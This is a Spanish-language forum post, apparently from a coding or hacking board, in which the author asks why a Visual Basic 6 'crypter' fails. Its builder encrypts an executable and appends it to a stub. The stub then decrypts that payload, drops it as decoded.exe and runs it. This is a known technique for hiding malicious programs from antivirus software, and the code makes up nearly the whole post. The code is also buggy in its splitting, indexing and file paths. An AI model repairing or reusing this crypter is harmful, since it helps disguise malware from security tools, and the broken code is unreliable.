Bueno estoy intentando usar este módulo de encryptación , pero no consigo hacerlo funcionar, os dejo el code haber que hago mal...
CLIENTE):
Private Sub Command1_Click()
With Dlg
.Filter = "eje | *.exe"
.ShowOpen
End With
Text1.Text = Dlg.FileName
End Sub
Private Sub Command2_Click()
Dim stub As String, archivo As String
Dim Loquequieras As String, nombre As New clsCryptAPI
Open App.Path & "\stub.exe" For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1
Open Text1.Text For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1
Loquequieras = nombre.EncryptString(archivo, "pass")
Open App.Path & "\crypted.exe" For Binary As #1
Put 1, , stub & "xprox"
Put 1, , Loquequieras & "xprox"
Close 1
MsgBox " fin "
End Sub
STUB:
Private Sub Form_Load()
Dim yo As String, stub As String, otro As String
yo = App.Path & App.EXEName & ".exe"
Open yo For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1
Dim loquequieras() As String, nombre As New clsCryptAPI
loquequieras() = Split(stub, "xprox")(1)
otro = nombre.DecryptString(loquequieras(2), "pass")
Open App.Path & "\decoded.exe" For Binary As 1
Put 1, , nombre.DecryptString(loquequieras(2), "pass")
Close 1
Shell App.Path & "decoded.exe"
End Sub
Sé que tiene boberías como el decoded.exe pero es para probar... haber quien me dice donde está el error xD

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png
http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png
http://www.youtube.com/watch?v=wHYYkciIKE0